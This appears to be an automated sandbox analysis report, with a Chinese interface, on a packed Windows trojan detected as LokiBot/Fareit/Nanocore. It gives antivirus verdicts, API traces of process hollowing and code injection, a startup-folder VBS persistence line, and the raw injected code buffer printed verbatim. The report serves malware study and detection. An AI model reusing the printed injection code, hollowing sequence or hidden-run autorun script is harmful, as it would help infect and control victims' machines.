8.6
极危
56 个模型检测该样本为恶意！
重新分析
更多

619d55dafa6cfdc23580e3a1e8a57ef3a246a0163385f4a61a591ac0517d85f6

029c7ec1040676551533408ef85d1f68.exe

分析耗时

23s

最近分析

文件大小

1.4MB
静态报毒 动态报毒 100% AI SCORE=80 AIDETECTVM BTVA8E CLOUD CONFIDENCE CRYPTINJECTOR DELF DELPHILESS ELDORADO ELXR EMJE FAREIT GDSDA GENERICKD HIGH CONFIDENCE HLFAAF IGENT LOKI LOKIBOT MALREP MALWARE1 MALWARE@#3PC25MTBLI5IK NANOCORE SCORE SMTHG SUSPICIOUS PE THFAFBO TSCOPE UNSAFE X2066 XHW@A4J45GAI ZELPHIF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Fareit-FTB!029C7EC10406 20200706 6.0.6.653
Alibaba Trojan:Win32/CryptInjector.d95abbcf 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Kingsoft 20200706 2013.8.14.323
Tencent Win32.Trojan.Crypt.Eeu 20200706 1.0.0.1
Avast Win32:Malware-gen 20200706 18.4.3895.0
CrowdStrike win/malicious_confidence_100% (W) 20190702 1.0
静态指标
The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)
section CODE
section DATA
section BSS
The executable uses a known packer (1 个事件)
packer BobSoft Mini Delphi -> BoB / BobSoft
One or more processes crashed (1 个事件)
Time & API Arguments Status Return Repeated
1619148484.169751
__exception__
stacktrace: 
RtlFlsAlloc+0x421 EtwNotificationRegister-0x6ae ntdll+0x3ee84 @ 0x77d6ee84
RtlRunOnceComplete+0x3a4 LdrLoadDll-0xb1 ntdll+0x3c389 @ 0x77d6c389
LdrLoadDll+0x7b _strcmpi-0x304 ntdll+0x3c4b5 @ 0x77d6c4b5
New_ntdll_LdrLoadDll@16+0x7b New_ntdll_LdrUnloadDll@4-0xb7 @ 0x752ad4cf
LoadLibraryExW+0x178 LoadLibraryExA-0x2a kernelbase+0x11d2a @ 0x778f1d2a
029c7ec1040676551533408ef85d1f68+0xb03f8 @ 0x4b03f8
_CorValidateImage+0x83f _CorExeMain-0x2cc mscoree+0x4b0f @ 0x750f4b0f
_CorExeMain+0xf62 CreateConfigStream-0x209a mscoree+0x5d3d @ 0x750f5d3d
0x57005c

registers.esp: 1633872
registers.edi: 0
registers.eax: 0
registers.ebp: 1633912
registers.edx: 582600
registers.ebx: 0
registers.esi: 1634116
registers.ecx: 176
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfdb914ad
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Allocates read-write-execute memory (usually to unpack itself) (28 个事件)
Time & API Arguments Status Return Repeated
1619134513.454408
NtAllocateVirtualMemory
process_identifier: 368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01d80000
success 0 0
1619134513.626408
NtAllocateVirtualMemory
process_identifier: 368
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01e30000
success 0 0
1619134513.626408
NtAllocateVirtualMemory
process_identifier: 368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01e70000
success 0 0
1619148483.529751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00400000
success 0 0
1619148483.591751
NtAllocateVirtualMemory
process_identifier: 2824
region_size: 2097152
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x020c0000
success 0 0
1619148483.591751
NtAllocateVirtualMemory
process_identifier: 2824
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02280000
success 0 0
1619148483.591751
NtAllocateVirtualMemory
process_identifier: 2824
region_size: 688128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01fa0000
success 0 0
1619148483.591751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 659456
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01fa2000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77d4f000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.091751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619148484.107751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.122751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619148484.122751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00632000
success 0 0
1619148484.122751
NtProtectVirtualMemory
process_identifier: 2824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
Creates executable files on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wewewew.vbs
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.286922089095718 section {'size_of_data': '0x000b1000', 'virtual_address': '0x000b1000', 'entropy': 7.286922089095718, 'name': '.rsrc', 'virtual_size': '0x000b0ffc'} description A section with a high entropy has been found
entropy 0.5075268817204301 description Overall entropy of this PE file is high
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Allocates execute permission to another process indicative of possible code injection (1 个事件)
Time & API Arguments Status Return Repeated
1619134515.845408
NtAllocateVirtualMemory
process_identifier: 2984
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000114
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
Installs itself for autorun at Windows startup (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wewewew.vbs
Creates a thread using NtQueueApcThread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 368 created a thread in remote process 2984
Time & API Arguments Status Return Repeated
1619134515.845408
NtQueueApcThread
thread_handle: 0x00000110
process_identifier: 2984
function_address: 0x000b05c0
parameter: 0x000c0000
success 0 0
Potential code injection by writing to the memory of another process (2 个事件)
Time & API Arguments Status Return Repeated
1619134515.845408
WriteProcessMemory
process_identifier: 2984
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000114
base_address: 0x000b0000
success 1 0
1619134515.845408
WriteProcessMemory
process_identifier: 2984
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\029c7ec1040676551533408ef85d1f68.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\029c7ec1040676551533408ef85d1f68.exe" wewewewSEt zpMtRthfMVATBujNr = cReatEobjECT("wScRipT.sHeLl") ZPMTRtHfmVAtbUjnR.Run """%ls""", 0, False
process_handle: 0x00000114
base_address: 0x000c0000
success 1 0
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)
Process injection Process 368 called NtSetContextThread to modify thread in remote process 2824
Time & API Arguments Status Return Repeated
1619134515.986408
NtSetContextThread
thread_handle: 0x0000011c
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 5644416
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2824
success 0 0
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 368 resumed a thread in remote process 2824
Time & API Arguments Status Return Repeated
1619134516.251408
NtResumeThread
thread_handle: 0x0000011c
suspend_count: 1
process_identifier: 2824
success 0 0
Executed a process and injected code into it, probably while unpacking (11 个事件)
Time & API Arguments Status Return Repeated
1619134515.845408
CreateProcessInternalW
thread_identifier: 944
thread_handle: 0x00000110
process_identifier: 2984
current_directory:
filepath: C:\Windows\System32\notepad.exe
track: 1
command_line:
filepath_r: C:\Windows\system32\notepad.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000114
inherit_handles: 0
success 1 0
1619134515.845408
NtAllocateVirtualMemory
process_identifier: 2984
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000114
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000b0000
success 0 0
1619134515.845408
NtAllocateVirtualMemory
process_identifier: 2984
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
process_handle: 0x00000114
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000c0000
success 0 0
1619134515.845408
WriteProcessMemory
process_identifier: 2984
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000114
base_address: 0x000b0000
success 1 0
1619134515.845408
WriteProcessMemory
process_identifier: 2984
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\029c7ec1040676551533408ef85d1f68.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\029c7ec1040676551533408ef85d1f68.exe" wewewewSEt zpMtRthfMVATBujNr = cReatEobjECT("wScRipT.sHeLl") ZPMTRtHfmVAtbUjnR.Run """%ls""", 0, False
process_handle: 0x00000114
base_address: 0x000c0000
success 1 0
1619134515.954408
CreateProcessInternalW
thread_identifier: 3068
thread_handle: 0x0000011c
process_identifier: 2824
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\029c7ec1040676551533408ef85d1f68.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x00000118
inherit_handles: 0
success 1 0
1619134515.954408
NtUnmapViewOfSection
process_identifier: 2824
region_size: 4096
process_handle: 0x00000118
base_address: 0x00400000
success 0 0
1619134515.954408
NtMapViewOfSection
section_handle: 0x00000124
process_identifier: 2824
commit_size: 1458176
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x00000118
allocation_type: 0 ()
section_offset: 0
view_size: 1458176
base_address: 0x00400000
success 0 0
1619134515.986408
NtGetContextThread
thread_handle: 0x0000011c
success 0 0
1619134515.986408
NtSetContextThread
thread_handle: 0x0000011c
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 5644416
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2824
success 0 0
1619134516.251408
NtResumeThread
thread_handle: 0x0000011c
suspend_count: 1
process_identifier: 2824
success 0 0
File has been identified by 56 AntiVirus engines on VirusTotal as malicious (50 out of 56 个事件)
Bkav W32.AIDetectVM.malware1
MicroWorld-eScan Trojan.GenericKD.43348120
FireEye Generic.mg.029c7ec104067655
McAfee Fareit-FTB!029C7EC10406
Cylance Unsafe
Zillya Trojan.Injector.Win32.743488
K7AntiVirus Trojan ( 00568adb1 )
Alibaba Trojan:Win32/CryptInjector.d95abbcf
K7GW Trojan ( 00568adb1 )
Cybereason malicious.44e766
Arcabit Trojan.Generic.D2957098
TrendMicro Trojan.Win32.MALREP.THFAFBO
F-Prot W32/Injector.ABY.gen!Eldorado
Symantec Trojan.Gen.2
APEX Malicious
Paloalto generic.ml
ClamAV Win.Dropper.LokiBot-8058925-0
Kaspersky HEUR:Trojan.Win32.Crypt.gen
BitDefender Trojan.GenericKD.43348120
NANO-Antivirus Trojan.Win32.Nanocore.hlfaaf
AegisLab Trojan.Win32.Crypt.4!c
Rising Trojan.Injector!1.AFE3 (CLOUD)
Ad-Aware Trojan.GenericKD.43348120
Sophos Mal/Generic-S
Comodo Malware@#3pc25mtbli5ik
DrWeb Trojan.Nanocore.671
Invincea heuristic
Trapmine suspicious.low.ml.score
Emsisoft Trojan.GenericKD.43348120 (B)
SentinelOne DFI - Suspicious PE
Cyren W32/Injector.ABY.gen!Eldorado
Jiangmin Trojan.Crypt.djv
eGambit Unsafe.AI_Score_100%
Antiy-AVL Trojan/Win32.Crypt
Microsoft Trojan:Win32/CryptInjector.D!MTB
Endgame malicious (high confidence)
ZoneAlarm HEUR:Trojan.Win32.Crypt.gen
GData Trojan.GenericKD.43348120
Cynet Malicious (score: 100)
AhnLab-V3 Suspicious/Win.Delphiless.X2066
Acronis suspicious
BitDefenderTheta Gen:NN.ZelphiF.34130.xHW@a4j45Gai
ALYac Trojan.GenericKD.43348120
MAX malware (ai score=80)
VBA32 TScope.Trojan.Delf
Panda Trj/GdSda.A
ESET-NOD32 a variant of Win32/Injector.EMJE
TrendMicro-HouseCall TrojanSpy.Win32.LOKI.SMTHG
Tencent Win32.Trojan.Crypt.Eeu
Yandex Trojan.Igent.bTVa8e.20
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:
• 0x4a1178 VirtualFree
• 0x4a117c VirtualAlloc
• 0x4a1180 LocalFree
• 0x4a1184 LocalAlloc
• 0x4a1188 GetVersion
• 0x4a118c GetCurrentThreadId
• 0x4a1198 VirtualQuery
• 0x4a119c WideCharToMultiByte
• 0x4a11a0 MultiByteToWideChar
• 0x4a11a4 lstrlenA
• 0x4a11a8 lstrcpynA
• 0x4a11ac LoadLibraryExA
• 0x4a11b0 GetThreadLocale
• 0x4a11b4 GetStartupInfoA
• 0x4a11b8 GetProcAddress
• 0x4a11bc GetModuleHandleA
• 0x4a11c0 GetModuleFileNameA
• 0x4a11c4 GetLocaleInfoA
• 0x4a11c8 GetCommandLineA
• 0x4a11cc FreeLibrary
• 0x4a11d0 FindFirstFileA
• 0x4a11d4 FindClose
• 0x4a11d8 ExitProcess
• 0x4a11dc WriteFile
• 0x4a11e4 RtlUnwind
• 0x4a11e8 RaiseException
• 0x4a11ec GetStdHandle
Library user32.dll:
• 0x4a11f4 GetKeyboardType
• 0x4a11f8 LoadStringA
• 0x4a11fc MessageBoxA
• 0x4a1200 CharNextA
Library advapi32.dll:
• 0x4a1208 RegQueryValueExA
• 0x4a120c RegOpenKeyExA
• 0x4a1210 RegCloseKey
Library oleaut32.dll:
• 0x4a1218 SysFreeString
• 0x4a121c SysReAllocStringLen
• 0x4a1220 SysAllocStringLen
Library kernel32.dll:
• 0x4a1228 TlsSetValue
• 0x4a122c TlsGetValue
• 0x4a1230 LocalAlloc
• 0x4a1234 GetModuleHandleA
Library advapi32.dll:
• 0x4a123c RegQueryValueExA
• 0x4a1240 RegOpenKeyExA
• 0x4a1244 RegCloseKey
Library kernel32.dll:
